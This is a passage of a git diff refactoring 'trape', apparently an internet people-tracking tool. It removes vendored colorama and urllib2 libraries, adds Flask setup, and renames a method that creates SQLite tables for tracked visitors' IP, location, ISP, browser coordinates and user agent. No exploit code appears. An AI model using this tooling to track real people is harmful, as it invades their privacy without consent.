diff --git a/README.md b/README.md index 35d89c0..f07342f 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ -trape (stable) v2.0 +trape v2.1 rewritten python-code by xmi ======== People tracker on the Internet: Learn to track the world, to avoid being traced. @@ -166,3 +166,4 @@ The content of this project itself is licensed under the [Creative Commons Attri Copyright, 2018 by [Jose Pino](https://twitter.com/jofpin) ------------- + diff --git a/core/__init__.py b/core/__init__.py old mode 100755 new mode 100644 index 2ae2839..509c2b3 --- a/core/__init__.py +++ b/core/__init__.py @@ -1 +1,7 @@ -pass +from flask import Flask +from core.trape import Trape +from core.db import Database + +trape = Trape() +db = Database() +app = Flask(__name__, template_folder='../templates', static_folder='../static') diff --git a/core/colorama/.DS_Store b/core/colorama/.DS_Store deleted file mode 100755 index 5008ddf..0000000 Binary files a/core/colorama/.DS_Store and /dev/null differ diff --git a/core/colorama/__init__.py b/core/colorama/__init__.py deleted file mode 100755 index 670e6b3..0000000 --- a/core/colorama/__init__.py +++ /dev/null @@ -1,7 +0,0 @@ -# Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. -from .initialise import init, deinit, reinit, colorama_text -from .ansi import Fore, Back, Style, Cursor -from .ansitowin32 import AnsiToWin32 - -__version__ = '0.3.7' - diff --git a/core/colorama/ansi.py b/core/colorama/ansi.py deleted file mode 100755 index 7877658..0000000 --- a/core/colorama/ansi.py +++ /dev/null @@ -1,102 +0,0 @@ -# Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. -''' -This module generates ANSI character codes to printing colors to terminals. -See: http://en.wikipedia.org/wiki/ANSI_escape_code -''' - -CSI = '\033[' -OSC = '\033]' -BEL = '\007' - - -def code_to_chars(code): - return CSI + str(code) + 'm' - -def set_title(title): - return OSC + '2;' + title + BEL - -def clear_screen(mode=2): - return CSI + str(mode) + 'J' - -def clear_line(mode=2): - return CSI + str(mode) + 'K' - - -class AnsiCodes(object): - def __init__(self): - # the subclasses declare class attributes which are numbers. - # Upon instantiation we define instance attributes, which are the same - # as the class attributes but wrapped with the ANSI escape sequence - for name in dir(self): - if not name.startswith('_'): - value = getattr(self, name) - setattr(self, name, code_to_chars(value)) - - -class AnsiCursor(object): - def UP(self, n=1): - return CSI + str(n) + 'A' - def DOWN(self, n=1): - return CSI + str(n) + 'B' - def FORWARD(self, n=1): - return CSI + str(n) + 'C' - def BACK(self, n=1): - return CSI + str(n) + 'D' - def POS(self, x=1, y=1): - return CSI + str(y) + ';' + str(x) + 'H' - - -class AnsiFore(AnsiCodes): - BLACK = 30 - RED = 31 - GREEN = 32 - YELLOW = 33 - BLUE = 34 - MAGENTA = 35 - CYAN = 36 - WHITE = 37 - RESET = 39 - - # These are fairly well supported, but not part of the standard. - LIGHTBLACK_EX = 90 - LIGHTRED_EX = 91 - LIGHTGREEN_EX = 92 - LIGHTYELLOW_EX = 93 - LIGHTBLUE_EX = 94 - LIGHTMAGENTA_EX = 95 - LIGHTCYAN_EX = 96 - LIGHTWHITE_EX = 97 - - -class AnsiBack(AnsiCodes): - BLACK = 40 - RED = 41 - GREEN = 42 - YELLOW = 43 - BLUE = 44 - MAGENTA = 45 - CYAN = 46 - WHITE = 47 - RESET = 49 - - # These are fairly well supported, but not part of the standard. - LIGHTBLACK_EX = 100 - LIGHTRED_EX = 101 - LIGHTGREEN_EX = 102 - LIGHTYELLOW_EX = 103 - LIGHTBLUE_EX = 104 - LIGHTMAGENTA_EX = 105 - LIGHTCYAN_EX = 106 - LIGHTWHITE_EX = 107 - - -class AnsiStyle(AnsiCodes): - BRIGHT = 1 - DIM = 2 - NORMAL = 22 - RESET_ALL = 0 - -Fore = AnsiFore() -Back = AnsiBack() -Style = AnsiStyle() -Cursor = AnsiCursor() diff --git a/core/colorama/ansitowin32.py b/core/colorama/ansitowin32.py deleted file mode 100755 index b7ff6f2..0000000 --- a/core/colorama/ansitowin32.py +++ /dev/null @@ -1,236 +0,0 @@ -# Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. -import re -import sys -import os - -from .ansi import AnsiFore, AnsiBack, AnsiStyle, Style -from .winterm import WinTerm, WinColor, WinStyle -from .win32 import windll, winapi_test - - -winterm = None -if windll is not None: - winterm = WinTerm() - - -def is_stream_closed(stream): - return not hasattr(stream, 'closed') or stream.closed - - -def is_a_tty(stream): - return hasattr(stream, 'isatty') and stream.isatty() - - -class StreamWrapper(object): - ''' - Wraps a stream (such as stdout), acting as a transparent proxy for all - attribute access apart from method 'write()', which is delegated to our - Converter instance. - ''' - def __init__(self, wrapped, converter): - # double-underscore everything to prevent clashes with names of - # attributes on the wrapped stream object. - self.__wrapped = wrapped - self.__convertor = converter - - def __getattr__(self, name): - return getattr(self.__wrapped, name) - - def write(self, text): - self.__convertor.write(text) - - -class AnsiToWin32(object): - ''' - Implements a 'write()' method which, on Windows, will strip ANSI character - sequences from the text, and if outputting to a tty, will convert them into - win32 function calls. - ''' - ANSI_CSI_RE = re.compile('\001?\033\[((?:\d|;)*)([a-zA-Z])\002?') # Control Sequence Introducer - ANSI_OSC_RE = re.compile('\001?\033\]((?:.|;)*?)(\x07)\002?') # Operating System Command - - def __init__(self, wrapped, convert=None, strip=None, autoreset=False): - # The wrapped stream (normally sys.stdout or sys.stderr) - self.wrapped = wrapped - - # should we reset colors to defaults after every .write() - self.autoreset = autoreset - - # create the proxy wrapping our output stream - self.stream = StreamWrapper(wrapped, self) - - on_windows = os.name == 'nt' - # We test if the WinAPI works, because even if we are on Windows - # we may be using a terminal that doesn't support the WinAPI - # (e.g. Cygwin Terminal). In this case it's up to the terminal - # to support the ANSI codes. - conversion_supported = on_windows and winapi_test() - - # should we strip ANSI sequences from our output? - if strip is None: - strip = conversion_supported or (not is_stream_closed(wrapped) and not is_a_tty(wrapped)) - self.strip = strip - - # should we should convert ANSI sequences into win32 calls? - if convert is None: - convert = conversion_supported and not is_stream_closed(wrapped) and is_a_tty(wrapped) - self.convert = convert - - # dict of ansi codes to win32 functions and parameters - self.win32_calls = self.get_win32_calls() - - # are we wrapping stderr? - self.on_stderr = self.wrapped is sys.stderr - - def should_wrap(self): - ''' - True if this class is actually needed. If false, then the output - stream will not be affected, nor will win32 calls be issued, so - wrapping stdout is not actually required. This will generally be - False on non-Windows platforms, unless optional functionality like - autoreset has been requested using kwargs to init() - ''' - return self.convert or self.strip or self.autoreset - - def get_win32_calls(self): - if self.convert and winterm: - return { - AnsiStyle.RESET_ALL: (winterm.reset_all, ), - AnsiStyle.BRIGHT: (winterm.style, WinStyle.BRIGHT), - AnsiStyle.DIM: (winterm.style, WinStyle.NORMAL), - AnsiStyle.NORMAL: (winterm.style, WinStyle.NORMAL), - AnsiFore.BLACK: (winterm.fore, WinColor.BLACK), - AnsiFore.RED: (winterm.fore, WinColor.RED), - AnsiFore.GREEN: (winterm.fore, WinColor.GREEN), - AnsiFore.YELLOW: (winterm.fore, WinColor.YELLOW), - AnsiFore.BLUE: (winterm.fore, WinColor.BLUE), - AnsiFore.MAGENTA: (winterm.fore, WinColor.MAGENTA), - AnsiFore.CYAN: (winterm.fore, WinColor.CYAN), - AnsiFore.WHITE: (winterm.fore, WinColor.GREY), - AnsiFore.RESET: (winterm.fore, ), - AnsiFore.LIGHTBLACK_EX: (winterm.fore, WinColor.BLACK, True), - AnsiFore.LIGHTRED_EX: (winterm.fore, WinColor.RED, True), - AnsiFore.LIGHTGREEN_EX: (winterm.fore, WinColor.GREEN, True), - AnsiFore.LIGHTYELLOW_EX: (winterm.fore, WinColor.YELLOW, True), - AnsiFore.LIGHTBLUE_EX: (winterm.fore, WinColor.BLUE, True), - AnsiFore.LIGHTMAGENTA_EX: (winterm.fore, WinColor.MAGENTA, True), - AnsiFore.LIGHTCYAN_EX: (winterm.fore, WinColor.CYAN, True), - AnsiFore.LIGHTWHITE_EX: (winterm.fore, WinColor.GREY, True), - AnsiBack.BLACK: (winterm.back, WinColor.BLACK), - AnsiBack.RED: (winterm.back, WinColor.RED), - AnsiBack.GREEN: (winterm.back, WinColor.GREEN), - AnsiBack.YELLOW: (winterm.back, WinColor.YELLOW), - AnsiBack.BLUE: (winterm.back, WinColor.BLUE), - AnsiBack.MAGENTA: (winterm.back, WinColor.MAGENTA), - AnsiBack.CYAN: (winterm.back, WinColor.CYAN), - AnsiBack.WHITE: (winterm.back, WinColor.GREY), - AnsiBack.RESET: (winterm.back, ), - AnsiBack.LIGHTBLACK_EX: (winterm.back, WinColor.BLACK, True), - AnsiBack.LIGHTRED_EX: (winterm.back, WinColor.RED, True), - AnsiBack.LIGHTGREEN_EX: (winterm.back, WinColor.GREEN, True), - AnsiBack.LIGHTYELLOW_EX: (winterm.back, WinColor.YELLOW, True), - AnsiBack.LIGHTBLUE_EX: (winterm.back, WinColor.BLUE, True), - AnsiBack.LIGHTMAGENTA_EX: (winterm.back, WinColor.MAGENTA, True), - AnsiBack.LIGHTCYAN_EX: (winterm.back, WinColor.CYAN, True), - AnsiBack.LIGHTWHITE_EX: (winterm.back, WinColor.GREY, True), - } - return dict() - - def write(self, text): - if self.strip or self.convert: - self.write_and_convert(text) - else: - self.wrapped.write(text) - self.wrapped.flush() - if self.autoreset: - self.reset_all() - - - def reset_all(self): - if self.convert: - self.call_win32('m', (0,)) - elif not self.strip and not is_stream_closed(self.wrapped): - self.wrapped.write(Style.RESET_ALL) - - - def write_and_convert(self, text): - ''' - Write the given text to our wrapped stream, stripping any ANSI - sequences from the text, and optionally converting them into win32 - calls. - ''' - cursor = 0 - text = self.convert_osc(text) - for match in self.ANSI_CSI_RE.finditer(text): - start, end = match.span() - self.write_plain_text(text, cursor, start) - self.convert_ansi(*match.groups()) - cursor = end - self.write_plain_text(text, cursor, len(text)) - - - def write_plain_text(self, text, start, end): - if start < end: - self.wrapped.write(text[start:end]) - self.wrapped.flush() - - - def convert_ansi(self, paramstring, command): - if self.convert: - params = self.extract_params(command, paramstring) - self.call_win32(command, params) - - - def extract_params(self, command, paramstring): - if command in 'Hf': - params = tuple(int(p) if len(p) != 0 else 1 for p in paramstring.split(';')) - while len(params) < 2: - # defaults: - params = params + (1,) - else: - params = tuple(int(p) for p in paramstring.split(';') if len(p) != 0) - if len(params) == 0: - # defaults: - if command in 'JKm': - params = (0,) - elif command in 'ABCD': - params = (1,) - - return params - - - def call_win32(self, command, params): - if command == 'm': - for param in params: - if param in self.win32_calls: - func_args = self.win32_calls[param] - func = func_args[0] - args = func_args[1:] - kwargs = dict(on_stderr=self.on_stderr) - func(*args, **kwargs) - elif command in 'J': - winterm.erase_screen(params[0], on_stderr=self.on_stderr) - elif command in 'K': - winterm.erase_line(params[0], on_stderr=self.on_stderr) - elif command in 'Hf': # cursor position - absolute - winterm.set_cursor_position(params, on_stderr=self.on_stderr) - elif command in 'ABCD': # cursor position - relative - n = params[0] - # A - up, B - down, C - forward, D - back - x, y = {'A': (0, -n), 'B': (0, n), 'C': (n, 0), 'D': (-n, 0)}[command] - winterm.cursor_adjust(x, y, on_stderr=self.on_stderr) - - - def convert_osc(self, text): - for match in self.ANSI_OSC_RE.finditer(text): - start, end = match.span() - text = text[:start] + text[end:] - paramstring, command = match.groups() - if command in '\x07': # \x07 = BEL - params = paramstring.split(";") - # 0 - change title and icon (we will only change title) - # 1 - change icon (we don't support this) - # 2 - change title - if params[0] in '02': - winterm.set_title(params[1]) - return text diff --git a/core/colorama/initialise.py b/core/colorama/initialise.py deleted file mode 100755 index 834962a..0000000 --- a/core/colorama/initialise.py +++ /dev/null @@ -1,82 +0,0 @@ -# Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. -import atexit -import contextlib -import sys - -from .ansitowin32 import AnsiToWin32 - - -orig_stdout = None -orig_stderr = None - -wrapped_stdout = None -wrapped_stderr = None - -atexit_done = False - - -def reset_all(): - if AnsiToWin32 is not None: # Issue #74: objects might become None at exit - AnsiToWin32(orig_stdout).reset_all() - - -def init(autoreset=False, convert=None, strip=None, wrap=True): - - if not wrap and any([autoreset, convert, strip]): - raise ValueError('wrap=False conflicts with any other arg=True') - - global wrapped_stdout, wrapped_stderr - global orig_stdout, orig_stderr - - orig_stdout = sys.stdout - orig_stderr = sys.stderr - - if sys.stdout is None: - wrapped_stdout = None - else: - sys.stdout = wrapped_stdout = \ - wrap_stream(orig_stdout, convert, strip, autoreset, wrap) - if sys.stderr is None: - wrapped_stderr = None - else: - sys.stderr = wrapped_stderr = \ - wrap_stream(orig_stderr, convert, strip, autoreset, wrap) - - global atexit_done - if not atexit_done: - atexit.register(reset_all) - atexit_done = True - - -def deinit(): - if orig_stdout is not None: - sys.stdout = orig_stdout - if orig_stderr is not None: - sys.stderr = orig_stderr - - -@contextlib.contextmanager -def colorama_text(*args, **kwargs): - init(*args, **kwargs) - try: - yield - finally: - deinit() - - -def reinit(): - if wrapped_stdout is not None: - sys.stdout = wrapped_stdout - if wrapped_stderr is not None: - sys.stderr = wrapped_stderr - - -def wrap_stream(stream, convert, strip, autoreset, wrap): - if wrap: - wrapper = AnsiToWin32(stream, - convert=convert, strip=strip, autoreset=autoreset) - if wrapper.should_wrap(): - stream = wrapper.stream - return stream - - diff --git a/core/colorama/win32.py b/core/colorama/win32.py deleted file mode 100755 index 3d1d2f2..0000000 --- a/core/colorama/win32.py +++ /dev/null @@ -1,154 +0,0 @@ -# Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. - -# from winbase.h -STDOUT = -11 -STDERR = -12 - -try: - import ctypes - from ctypes import LibraryLoader - windll = LibraryLoader(ctypes.WinDLL) - from ctypes import wintypes -except (AttributeError, ImportError): - windll = None - SetConsoleTextAttribute = lambda *_: None - winapi_test = lambda *_: None -else: - from ctypes import byref, Structure, c_char, POINTER - - COORD = wintypes._COORD - - class CONSOLE_SCREEN_BUFFER_INFO(Structure): - """struct in wincon.h.""" - _fields_ = [ - ("dwSize", COORD), - ("dwCursorPosition", COORD), - ("wAttributes", wintypes.WORD), - ("srWindow", wintypes.SMALL_RECT), - ("dwMaximumWindowSize", COORD), - ] - def __str__(self): - return '(%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d)' % ( - self.dwSize.Y, self.dwSize.X - , self.dwCursorPosition.Y, self.dwCursorPosition.X - , self.wAttributes - , self.srWindow.Top, self.srWindow.Left, self.srWindow.Bottom, self.srWindow.Right - , self.dwMaximumWindowSize.Y, self.dwMaximumWindowSize.X - ) - - _GetStdHandle = windll.kernel32.GetStdHandle - _GetStdHandle.argtypes = [ - wintypes.DWORD, - ] - _GetStdHandle.restype = wintypes.HANDLE - - _GetConsoleScreenBufferInfo = windll.kernel32.GetConsoleScreenBufferInfo - _GetConsoleScreenBufferInfo.argtypes = [ - wintypes.HANDLE, - POINTER(CONSOLE_SCREEN_BUFFER_INFO), - ] - _GetConsoleScreenBufferInfo.restype = wintypes.BOOL - - _SetConsoleTextAttribute = windll.kernel32.SetConsoleTextAttribute - _SetConsoleTextAttribute.argtypes = [ - wintypes.HANDLE, - wintypes.WORD, - ] - _SetConsoleTextAttribute.restype = wintypes.BOOL - - _SetConsoleCursorPosition = windll.kernel32.SetConsoleCursorPosition - _SetConsoleCursorPosition.argtypes = [ - wintypes.HANDLE, - COORD, - ] - _SetConsoleCursorPosition.restype = wintypes.BOOL - - _FillConsoleOutputCharacterA = windll.kernel32.FillConsoleOutputCharacterA - _FillConsoleOutputCharacterA.argtypes = [ - wintypes.HANDLE, - c_char, - wintypes.DWORD, - COORD, - POINTER(wintypes.DWORD), - ] - _FillConsoleOutputCharacterA.restype = wintypes.BOOL - - _FillConsoleOutputAttribute = windll.kernel32.FillConsoleOutputAttribute - _FillConsoleOutputAttribute.argtypes = [ - wintypes.HANDLE, - wintypes.WORD, - wintypes.DWORD, - COORD, - POINTER(wintypes.DWORD), - ] - _FillConsoleOutputAttribute.restype = wintypes.BOOL - - _SetConsoleTitleW = windll.kernel32.SetConsoleTitleA - _SetConsoleTitleW.argtypes = [ - wintypes.LPCSTR - ] - _SetConsoleTitleW.restype = wintypes.BOOL - - handles = { - STDOUT: _GetStdHandle(STDOUT), - STDERR: _GetStdHandle(STDERR), - } - - def winapi_test(): - handle = handles[STDOUT] - csbi = CONSOLE_SCREEN_BUFFER_INFO() - success = _GetConsoleScreenBufferInfo( - handle, byref(csbi)) - return bool(success) - - def GetConsoleScreenBufferInfo(stream_id=STDOUT): - handle = handles[stream_id] - csbi = CONSOLE_SCREEN_BUFFER_INFO() - success = _GetConsoleScreenBufferInfo( - handle, byref(csbi)) - return csbi - - def SetConsoleTextAttribute(stream_id, attrs): - handle = handles[stream_id] - return _SetConsoleTextAttribute(handle, attrs) - - def SetConsoleCursorPosition(stream_id, position, adjust=True): - position = COORD(*position) - # If the position is out of range, do nothing. - if position.Y <= 0 or position.X <= 0: - return - # Adjust for Windows' SetConsoleCursorPosition: - # 1. being 0-based, while ANSI is 1-based. - # 2. expecting (x,y), while ANSI uses (y,x). - adjusted_position = COORD(position.Y - 1, position.X - 1) - if adjust: - # Adjust for viewport's scroll position - sr = GetConsoleScreenBufferInfo(STDOUT).srWindow - adjusted_position.Y += sr.Top - adjusted_position.X += sr.Left - # Resume normal processing - handle = handles[stream_id] - return _SetConsoleCursorPosition(handle, adjusted_position) - - def FillConsoleOutputCharacter(stream_id, char, length, start): - handle = handles[stream_id] - char = c_char(char.encode()) - length = wintypes.DWORD(length) - num_written = wintypes.DWORD(0) - # Note that this is hard-coded for ANSI (vs wide) bytes. - success = _FillConsoleOutputCharacterA( - handle, char, length, start, byref(num_written)) - return num_written.value - - def FillConsoleOutputAttribute(stream_id, attr, length, start): - ''' FillConsoleOutputAttribute( hConsole, csbi.wAttributes, dwConSize, coordScreen, &cCharsWritten )''' - handle = handles[stream_id] - attribute = wintypes.WORD(attr) - length = wintypes.DWORD(length) - num_written = wintypes.DWORD(0) - # Note that this is hard-coded for ANSI (vs wide) bytes. - return _FillConsoleOutputAttribute( - handle, attribute, length, start, byref(num_written)) - - def SetConsoleTitle(title): - return _SetConsoleTitleW(title) diff --git a/core/colorama/winterm.py b/core/colorama/winterm.py deleted file mode 100755 index 60309d3..0000000 --- a/core/colorama/winterm.py +++ /dev/null @@ -1,162 +0,0 @@ -# Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. -from . import win32 - - -# from wincon.h -class WinColor(object): - BLACK = 0 - BLUE = 1 - GREEN = 2 - CYAN = 3 - RED = 4 - MAGENTA = 5 - YELLOW = 6 - GREY = 7 - -# from wincon.h -class WinStyle(object): - NORMAL = 0x00 # dim text, dim background - BRIGHT = 0x08 # bright text, dim background - BRIGHT_BACKGROUND = 0x80 # dim text, bright background - -class WinTerm(object): - - def __init__(self): - self._default = win32.GetConsoleScreenBufferInfo(win32.STDOUT).wAttributes - self.set_attrs(self._default) - self._default_fore = self._fore - self._default_back = self._back - self._default_style = self._style - # In order to emulate LIGHT_EX in windows, we borrow the BRIGHT style. - # So that LIGHT_EX colors and BRIGHT style do not clobber each other, - # we track them separately, since LIGHT_EX is overwritten by Fore/Back - # and BRIGHT is overwritten by Style codes. - self._light = 0 - - def get_attrs(self): - return self._fore + self._back * 16 + (self._style | self._light) - - def set_attrs(self, value): - self._fore = value & 7 - self._back = (value >> 4) & 7 - self._style = value & (WinStyle.BRIGHT | WinStyle.BRIGHT_BACKGROUND) - - def reset_all(self, on_stderr=None): - self.set_attrs(self._default) - self.set_console(attrs=self._default) - - def fore(self, fore=None, light=False, on_stderr=False): - if fore is None: - fore = self._default_fore - self._fore = fore - # Emulate LIGHT_EX with BRIGHT Style - if light: - self._light |= WinStyle.BRIGHT - else: - self._light &= ~WinStyle.BRIGHT - self.set_console(on_stderr=on_stderr) - - def back(self, back=None, light=False, on_stderr=False): - if back is None: - back = self._default_back - self._back = back - # Emulate LIGHT_EX with BRIGHT_BACKGROUND Style - if light: - self._light |= WinStyle.BRIGHT_BACKGROUND - else: - self._light &= ~WinStyle.BRIGHT_BACKGROUND - self.set_console(on_stderr=on_stderr) - - def style(self, style=None, on_stderr=False): - if style is None: - style = self._default_style - self._style = style - self.set_console(on_stderr=on_stderr) - - def set_console(self, attrs=None, on_stderr=False): - if attrs is None: - attrs = self.get_attrs() - handle = win32.STDOUT - if on_stderr: - handle = win32.STDERR - win32.SetConsoleTextAttribute(handle, attrs) - - def get_position(self, handle): - position = win32.GetConsoleScreenBufferInfo(handle).dwCursorPosition - # Because Windows coordinates are 0-based, - # and win32.SetConsoleCursorPosition expects 1-based. - position.X += 1 - position.Y += 1 - return position - - def set_cursor_position(self, position=None, on_stderr=False): - if position is None: - # I'm not currently tracking the position, so there is no default. - # position = self.get_position() - return - handle = win32.STDOUT - if on_stderr: - handle = win32.STDERR - win32.SetConsoleCursorPosition(handle, position) - - def cursor_adjust(self, x, y, on_stderr=False): - handle = win32.STDOUT - if on_stderr: - handle = win32.STDERR - position = self.get_position(handle) - adjusted_position = (position.Y + y, position.X + x) - win32.SetConsoleCursorPosition(handle, adjusted_position, adjust=False) - - def erase_screen(self, mode=0, on_stderr=False): - # 0 should clear from the cursor to the end of the screen. - # 1 should clear from the cursor to the beginning of the screen. - # 2 should clear the entire screen, and move cursor to (1,1) - handle = win32.STDOUT - if on_stderr: - handle = win32.STDERR - csbi = win32.GetConsoleScreenBufferInfo(handle) - # get the number of character cells in the current buffer - cells_in_screen = csbi.dwSize.X * csbi.dwSize.Y - # get number of character cells before current cursor position - cells_before_cursor = csbi.dwSize.X * csbi.dwCursorPosition.Y + csbi.dwCursorPosition.X - if mode == 0: - from_coord = csbi.dwCursorPosition - cells_to_erase = cells_in_screen - cells_before_cursor - if mode == 1: - from_coord = win32.COORD(0, 0) - cells_to_erase = cells_before_cursor - elif mode == 2: - from_coord = win32.COORD(0, 0) - cells_to_erase = cells_in_screen - # fill the entire screen with blanks - win32.FillConsoleOutputCharacter(handle, ' ', cells_to_erase, from_coord) - # now set the buffer's attributes accordingly - win32.FillConsoleOutputAttribute(handle, self.get_attrs(), cells_to_erase, from_coord) - if mode == 2: - # put the cursor where needed - win32.SetConsoleCursorPosition(handle, (1, 1)) - - def erase_line(self, mode=0, on_stderr=False): - # 0 should clear from the cursor to the end of the line. - # 1 should clear from the cursor to the beginning of the line. - # 2 should clear the entire line. - handle = win32.STDOUT - if on_stderr: - handle = win32.STDERR - csbi = win32.GetConsoleScreenBufferInfo(handle) - if mode == 0: - from_coord = csbi.dwCursorPosition - cells_to_erase = csbi.dwSize.X - csbi.dwCursorPosition.X - if mode == 1: - from_coord = win32.COORD(0, csbi.dwCursorPosition.Y) - cells_to_erase = csbi.dwCursorPosition.X - elif mode == 2: - from_coord = win32.COORD(0, csbi.dwCursorPosition.Y) - cells_to_erase = csbi.dwSize.X - # fill the entire screen with blanks - win32.FillConsoleOutputCharacter(handle, ' ', cells_to_erase, from_coord) - # now set the buffer's attributes accordingly - win32.FillConsoleOutputAttribute(handle, self.get_attrs(), cells_to_erase, from_coord) - - def set_title(self, title): - win32.SetConsoleTitle(title) diff --git a/core/db.py b/core/db.py old mode 100755 new mode 100644 index 712e4cf..34033e0 --- a/core/db.py +++ b/core/db.py @@ -21,7 +21,7 @@ def __init__(self): self.conn = sqlite3.connect("database.db", check_same_thread=False) self.cursor = self.conn.cursor() - def loadDatabase(self): + def create_database(self): self.cursor.execute("""CREATE TABLE IF NOT EXISTS "geo" ( `id` TEXT, `city` TEXT, `country_code` TEXT, `country_name` TEXT, `ip` TEXT, `latitude` TEXT, `longitude` TEXT, `metro_code` TEXT, `region_code` TEXT, `region_name` TEXT, `time_zone` TEXT, `zip_code` TEXT, `isp` TEXT, `ua` TEXT, `connection` TEXT, `latitude_browser` TEXT, `longitude_browser` TEXT, `refer` TEXT, PRIMARY KEY(`id`) )""") self.cursor.execute( """CREATE TABLE IF NOT EXISTS "networks" ( `id` TEXT, `ip` TEXT, `public_ip` INTEGER, `network` TEXT, `date` TEXT )""") diff --git a/core/dependence/__init__.py b/core/dependence/__init__.py deleted file mode 100644 index fc80254..0000000 --- a/core/dependence/__init__.py +++ /dev/null @@ -1 +0,0 @@ -pass \ No newline at end of file diff --git a/core/dependence/urllib2.py b/core/dependence/urllib2.py deleted file mode 100644 index 32092d9..0000000 --- a/core/dependence/urllib2.py +++ /dev/null @@ -1,1493 +0,0 @@ -"""An extensible library for opening URLs using a variety of protocols - -The simplest way to use this module is to call the urlopen function, -which accepts a string containing a URL or a Request object (described -below). It opens the URL and returns the results as file-like -object; the returned object has some extra methods described below. - -The OpenerDirector manages a collection of Handler objects that do -all the actual work. Each Handler implements a particular protocol or -option. The OpenerDirector is a composite object that invokes the -Handlers needed to open the requested URL. For example, the -HTTPHandler performs HTTP GET and POST requests and deals with -non-error returns. The HTTPRedirectHandler automatically deals with -HTTP 301, 302, 303 and 307 redirect errors, and the HTTPDigestAuthHandler -deals with digest authentication. - -urlopen(url, data=None) -- Basic usage is the same as original -urllib. pass the url and optionally data to post to an HTTP URL, and -get a file-like object back. One difference is that you can also pass -a Request instance instead of URL. Raises a URLError (subclass of -IOError); for HTTP errors, raises an HTTPError, which can also be -treated as a valid response. - -build_opener -- Function that creates a new OpenerDirector instance. -Will install the default handlers. Accepts one or more Handlers as -arguments, either instances or Handler classes that it will -instantiate. If one of the argument is a subclass of the default -handler, the argument will be installed instead of the default. - -install_opener -- Installs a new opener as the default opener. - -objects of interest: - -OpenerDirector -- Sets up the User Agent as the Python-urllib client and manages -the Handler classes, while dealing with requests and responses. - -Request -- An object that encapsulates the state of a request. The -state can be as simple as the URL. It can also include extra HTTP -headers, e.g. a User-Agent. - -BaseHandler -- - -exceptions: -URLError -- A subclass of IOError, individual protocols have their own -specific subclass. - -HTTPError -- Also a valid HTTP response, so you can treat an HTTP error -as an exceptional event or valid response. - -internals: -BaseHandler and parent -_call_chain conventions - -Example usage: - -import urllib2 - -# set up authentication info -authinfo = urllib2.HTTPBasicAuthHandler() -authinfo.add_password(realm='PDQ Application', - uri='https://mahler:8092/site-updates.py', - user='klem', - passwd='geheim$parole') - -proxy_support = urllib2.ProxyHandler({"http" : "http://ahad-haam:3128"}) - -# build a new opener that adds authentication and caching FTP handlers -opener = urllib2.build_opener(proxy_support, authinfo, urllib2.CacheFTPHandler) - -# install it -urllib2.install_opener(opener) - -f = urllib2.urlopen('http://www.python.org/') - - -""" - -# XXX issues: -# If an authentication error handler that tries to perform -# authentication for some reason but fails, how should the error be -# signalled? The client needs to know the HTTP error code. But if -# the handler knows that the problem was, e.g., that it didn't know -# that hash algo that requested in the challenge, it would be good to -# pass that information along to the client, too. -# ftp errors aren't handled cleanly -# check digest against correct (i.e. non-apache) implementation - -# Possible extensions: -# complex proxies XXX not sure what exactly was meant by this -# abstract factory for opener - -import base64 -import hashlib -import http.client as httplib -import email as mimetools -import os -import posixpath -import random -import re -import socket -import sys -import time -import urllib.parse -import bisect - -try: - from io import StringIO -except ImportError: - from io import StringIO - -from urllib.parse import (splitport, splittag, splituser, splitpasswd, splitvalue, - splitattr, unwrap, unquote, splittype, splithost, quote) -from urllib.request import addinfourl -# from urllib import ftpwrapper -from urllib.request import url2pathname - -# used in User-Agent header sent -__version__ = sys.version[:3] - -_opener = None - - -def urlopen(url, data=None, timeout=socket._GLOBAL_DEFAULT_TIMEOUT): - global _opener - if _opener is None: - _opener = build_opener() - return _opener.open(url, data, timeout) - - -def install_opener(opener): - global _opener - _opener = opener - -# do these error classes make sense? -# make sure all of the IOError stuff is overridden. we just want to be -# subtypes. - - -class URLError(IOError): - # URLError is a sub-type of IOError, but it doesn't share any of - # the implementation. need to override __init__ and __str__. - # It sets self.args for compatibility with other EnvironmentError - # subclasses, but args doesn't have the typical format with errno in - # slot 0 and strerror in slot 1. This may be better than nothing. - def __init__(self, reason): - self.args = reason, - self.reason = reason - - def __str__(self): - return '' % self.reason - - -class HTTPError(URLError, addinfourl): - """Raised when HTTP error occurs, but also acts like non-error return""" - __super_init = addinfourl.__init__ - - def __init__(self, url, code, msg, hdrs, fp): - self.code = code - self.msg = msg - self.hdrs = hdrs - self.fp = fp - self.filename = url - # The addinfourl classes depend on fp being a valid file - # object. In some cases, the HTTPError may not have a valid - # file object. If this happens, the simplest workaround is to - # not initialize the base classes. - if fp is not None: - self.__super_init(fp, hdrs, url, code) - - def __str__(self): - return 'HTTP Error %s: %s' % (self.code, self.msg) - - # since URLError specifies a .reason attribute, HTTPError should also - # provide this attribute. See issue13211 fo discussion. - @property - def reason(self): - return self.msg - - -# copied from cookielib.py -_cut_port_re = re.compile(r":\d+$") - - -def request_host(request): - """Return request-host, as defined by RFC 2965. - - Variation from RFC: returned value is lowercased, for convenient - comparison. - - """ - url = request.get_full_url() - host = urllib.parse.urlparse(url)[1] - if host == "": - host = request.get_header("Host", "") - - # remove port, if present - host = _cut_port_re.sub("", host, 1) - return host.lower() - - -class Request: - - def __init__(self, url, data=None, headers={}, - origin_req_host=None, unverifiable=False): - # unwrap('') --> 'type://host/path' - self.__original = unwrap(url) - self.__original, self.__fragment = splittag(self.__original) - self.type = None - # self.__r_type is what's left after doing the splittype - self.host = None - self.port = None - self._tunnel_host = None - self.data = data - self.headers = {} - for key, value in list(headers.items()): - self.add_header(key, value) - self.unredirected_hdrs = {} - if origin_req_host is None: - origin_req_host = request_host(self) - self.origin_req_host = origin_req_host - self.unverifiable = unverifiable - - def __getattr__(self, attr): - # XXX this is a fallback mechanism to guard against these - # methods getting called in a non-standard order. this may be - # too complicated and/or unnecessary. - # XXX should the __r_XXX attributes be public? - if attr[:12] == '_Request__r_': - name = attr[12:] - if hasattr(Request, 'get_' + name): - getattr(self, 'get_' + name)() - return getattr(self, attr) - raise AttributeError(attr) - - def get_method(self): - if self.has_data(): - return "POST" - else: - return "GET" - - # XXX these helper methods are lame - - def add_data(self, data): - 